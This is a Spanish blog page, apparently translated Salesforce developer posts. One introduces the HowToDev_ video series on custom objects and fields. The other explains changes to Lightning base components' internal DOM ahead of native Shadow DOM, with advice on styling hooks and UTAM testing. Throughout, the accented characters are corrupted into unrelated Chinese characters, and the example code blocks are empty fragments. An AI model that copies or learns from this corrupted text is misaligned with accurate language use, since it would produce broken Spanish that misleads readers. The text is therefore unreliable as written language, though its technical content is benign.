En esta nueva serie, aprender谩 a ampliar la Plataforma de Salesforce y crear aplicaciones personalizadas utilizando potentes funciones de desarrollo de Salesforce l铆deres en la industria. Ser茅 su anfitri贸n y, en cada episodio, lo explicar茅 c贸mo tomar una interfaz de usuario basada en datos que viene lista para usar con Salesforce y crear una experiencia intuitiva e interactiva que facilite la vida de los usuarios.

Descripci贸n general de la plataforma de Salesforce

La plataforma de Salesforce re煤ne una serie de servicios de infraestructura, red, aplicaciones y datos para crear una poderosa herramienta que puede ampliar en un abrir y cerrar de ojos. Esto se debe a muchas de las complejidades que puede haber utilizado en otras plataformas de usuarios y desarrolladores. En el primer episodio de HowToDev_, repasamos una descripci贸n general de Salesforce Platform y c贸mo puede crear objetos personalizados para ampliar el modelo de datos.

Realmente solo necesita preocuparse por la aplicaci贸n y los servicios de datos que se le proporcionan para construir. Desde su front-end hasta sus API, todo sale de la caja listo para que comience a construir.

隆Vamos a codificar!

隆Espera un segundo! Hay algunas cosas que necesita saber aqu铆 antes de abrir ese entorno de desarrollo. Aqu铆 hay un vistazo de lo que cubrimos en el Episodio 1 .

Comprender la importancia de los metadatos en Salesforce: Nosotros explicar la funci贸n de los metadatos, que representan toda la configuraci贸n, la automatizaci贸n y la interfaz de usuario en el entorno de Salesforce.

Definici贸n de qu茅 son una aplicaci贸n y una organizaci贸n en Salesforce: aclaramos los conceptos de una aplicaci贸n y una organizaci贸n en Salesforce, subrayando su distinci贸n con respecto a las aplicaciones y organizaciones tradicionales.

Creaci贸n del objeto de propiedad : demostramos el proceso de creaci贸n de un objeto personalizado (el objeto de propiedad) en Configuraci贸n de Salesforce, que funciona como una tabla de base de datos para administrar y rastrear propiedades.

Agregar nuevos campos al objeto: agregamos dos nuevos campos personalizados al objeto Propiedad (es decir, Fecha de cotizaci贸n y D铆as en el mercado), que resaltan la naturaleza din谩mica de los campos de Salesforce.

Mirando hacia el futuro: Concluimos el episodio con una mirada al futuro de lo que cubrir谩 la serie, prometiendo una futura exploraci贸n de la codificaci贸n y la resoluci贸n de problemas complejos dentro de Salesforce.

Una vez que tenga una mayor comprensi贸n de estos conceptos, 隆podemos abrir la CLI en el Episodio 2 !

D贸nde ver HowToDev_

Todos los episodios se lanzaron a la vez en Salesforce+, 隆as铆 que puede disfrutarlos todos ahora! Esto es lo que se trata en cada episodio:

Episodio 1: Descripci贸n general de la plataforma Salesforce
Episodio 2: Herramientas para desarrolladores de Salesforce
Episodio 3: C贸digo en Salesforce con Apex, SOQL y DML
Episodio 4: compilar componentes web Lightning
Episodio 5: Automatizaci贸n con flujo y disparadores
Episodio 6: Completar y lanzar su aplicaci贸n Salesforce

M谩s recursos

  • HowToDev_ Repositorio de GitHub : este es el lugar donde encontrar谩 todo el c贸digo, las definiciones, los enlaces y los documentos a los que se hace referencia en la serie.
  • Creamos una divertida Trailhead Quest para completar mientras ves HowToDev_. 脷nase a la b煤squeda ahora para poner a prueba sus conocimientos y tener la oportunidad de ganar* uno de los 10 paquetes de premios HowToDev_, que incluyen un par de Apple AirPods y un estuche personalizado de Salesforce Developers. Tambi茅n recibir谩 una insignia exclusiva de la comunidad HowToDev_ en Trailhead. Complete la misi贸n en cualquier momento antes del 31 de julio a las 11:59 p. m. (hora del Pac铆fico) para participar y ganar.

Sobre el Autor

Stephan Chandler-Garcia es promotor de desarrolladores en Salesforce. Ha estado en el ecosistema de Salesforce durante m谩s de 10 a帽os como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario de Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, s铆galo en Twitter @stephanwcg o @schandlergarcia en GitHub, y consulte su repositorio de GitHub para ver c贸digo de muestra y proyectos.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas 鈽侊笍

Cambios en la estructura del DOM interno del componente Lightning base para compatibilidad futura con sombras nativas 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Cambios en la estructura del DOM interno del componente Lightning base para la futura compatibilidad con sombras nativas | Blog de desarrolladores de Salesforce

Salesforce est谩 preparando los componentes base de Lightning para adoptar Shadow DOM nativo , lo que mejorar谩 el rendimiento de los componentes y los alinear谩 mejor con los est谩ndares de los componentes web. Como parte de esta fase de preparaci贸n, hemos cambiado la estructura DOM interna de algunos de nuestros componentes. Reci茅n comenzamos y continuaremos modificando las partes internas de los componentes en versiones posteriores. En esta publicaci贸n, discutiremos qu茅 cambiar谩 y c贸mo puede prepararse para ello.

驴Qu茅 es el DOM de sombra nativo?

Shadow DOM es un est谩ndar web que encapsula la estructura del modelo de objeto de documento (DOM) interno de un componente web. Esto nos da la capacidad de proporcionarle componentes robustos y seguros protegi茅ndolos de ser manipulados por HTML, CSS y JavaScript arbitrarios.

Actualmente, Salesforce mantiene un polyfill de sombra sint茅tico para navegadores heredados, como versiones anteriores de Microsoft Edge, pero ahora que todos los principales navegadores admiten DOM de sombra nativo, estamos preparando nuestros componentes para hacer lo mismo.

Con la introducci贸n del shadow DOM nativo, mejoraremos la encapsulaci贸n de los componentes, haci茅ndolos m谩s consistentes y seguros, y brindaremos una forma m谩s predecible de dise帽arlos. Esto resolver谩 una gran cantidad de problemas de compatibilidad con versiones anteriores y alinear谩 los componentes web Lightning con los est谩ndares web.

Sin embargo, puede provocar una fase de adaptaci贸n a medida que hacemos el cambio.

La implementaci贸n interna de los componentes b谩sicos est谩 cambiando

Hemos estado trabajando en la preparaci贸n de nuestros componentes base para adoptar el shadow DOM nativo. Los escenarios espec铆ficos en los que se romp铆a la encapsulaci贸n de los componentes base requer铆an que cre谩ramos un nuevo elemento contenedor dentro del l铆mite de la sombra. Para ayudar a ilustrar esto, veamos un componente base de ejemplo llamado lightning-foo . Antes, el componente se ve铆a as铆:

<dx-code-block title language code-block="

Example base component

芦>

A partir de Summer '23, se ver谩 as铆:

<dx-code-block title language code-block="

Example base component

芦>

La mec谩nica interna de los componentes b谩sicos no se dise帽贸 para acceder directamente y tratarse como una API confiable para su uso. En cambio, nuestros componentes preempaquetados estaban destinados a usarse tal como son, utilizando las API p煤blicas oficiales que hemos compartido abiertamente. Sin embargo, sabemos que algunos clientes est谩n utilizando componentes internos de manera no documentada. Si est谩 accediendo a los elementos internos de un componente base con fines de personalizaci贸n y prueba, tenga en cuenta estos cambios.

驴C贸mo puede arreglar su c贸digo personalizado y sus pruebas?

Al probar manualmente sus aplicaciones, es posible que detecte un componente personalizado que funcionaba anteriormente y que no tiene el aspecto esperado. Debido a estos cambios, sus pruebas automatizadas de un extremo a otro tambi茅n pueden fallar. En ambos casos, puede significar que su c贸digo personalizado o c贸digo de prueba depende de las partes internas de un componente base que ha cambiado . Exploremos estos dos problemas con m谩s profundidad:

Un componente no se ve como se esperaba:

  • Problema: Intentar dise帽ar el elemento o las clases personalizadas dentro de un componente base puede generar resultados imprevistos.
  • Soluci贸n: El cambio de sombra sint茅tica a componentes totalmente encapsulados con DOM de sombra nativo puede cambiar su estrategia de CSS. Al migrar sus personalizaciones de estilo a la sombra nativa, siga estos pasos:
    • Consulte la disponibilidad de un gancho para peinar . Ofrecen un excelente m茅todo para adaptar un componente sin profundizar en las complejidades del CSS subyacente o el shadow DOM.
    • Aseg煤rese de que el valor que est谩 aplicando al gancho de estilo est茅 vinculado a su sistema de dise帽o en lugar de un valor fijo y predefinido. Evite usar un valor codificado.

Una prueba de extremo a extremo falla:

  • Problema: Cualquier implementaci贸n que use combinadores CSS fallar谩. Por ejemplo, lightning-foo > p no coincidir谩 con nuestro marcado actualizado.
  • Soluci贸n: Los combinadores hacen que el CSS sea fr谩gil y deben evitarse a menos que se usen por una buena raz贸n. La mayor铆a de las veces, los combinadores se pueden eliminar sin ninguna regresi贸n. Si se desea un elemento espec铆fico, se pueden usar otros m茅todos de orientaci贸n que no se basen en el marcado que nunca cambia. Es decir, evite apuntar expl铆citamente a elementos HTML siempre que sea posible. Use otros selectores disponibles, como clases que permiten que su uso de CSS sea abstracto, modular y separado del elemento HTML. Si sus pruebas se basan en combinadores de CSS, le recomendamos que adopte el Modelo de automatizaci贸n de pruebas de interfaz de usuario (UTAM) para evitar cambios importantes en el futuro, ya que los objetos de la p谩gina se mantienen actualizados con todos los cambios de componentes.

Conclusi贸n

En resumen, estamos logrando avances significativos al preparar los componentes base de Lightning para adoptar Shadow DOM nativo, lo que garantizar谩 un mejor rendimiento y la alineaci贸n con los est谩ndares de los componentes web, adem谩s de mejorar la seguridad y la confiabilidad de los componentes. Al encapsular la estructura DOM interna, nos esforzamos por brindar una experiencia m谩s s贸lida y predecible tanto para los desarrolladores como para los usuarios.

Si bien estos cambios pueden presentar algunos desaf铆os iniciales, son pasos necesarios hacia un sistema m谩s estandarizado y preparado para el futuro. Seguimos comprometidos a informar y apoyar a los desarrolladores durante esta transici贸n.

En preparaci贸n para estos cambios, recomendamos adoptar ganchos de estilo y m茅todos de orientaci贸n como clases para garantizar que el uso de CSS siga siendo modular y adaptable. Adem谩s, recomendamos enf谩ticamente adoptar UTAM como su soluci贸n de prueba de extremo a extremo.

Est茅n atentos a m谩s actualizaciones y cambios a medida que Salesforce contin煤a optimizando y mejorando el marco de componentes Lightning. Al adoptar estas pr贸ximas mejoras, los desarrolladores pueden esperar una experiencia de desarrollo m谩s fluida y eficiente mientras crean aplicaciones poderosas en la Plataforma Salesforce.

M谩s recursos

Sobre los autores

Maeve Tuntivate es Gerente s茅nior en el equipo de Gesti贸n de productos en Salesforce.

Jesse Brack es ingeniero principal de UX en el equipo de ingenier铆a de sistemas de dise帽o de Salesforce.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Seguir leyendo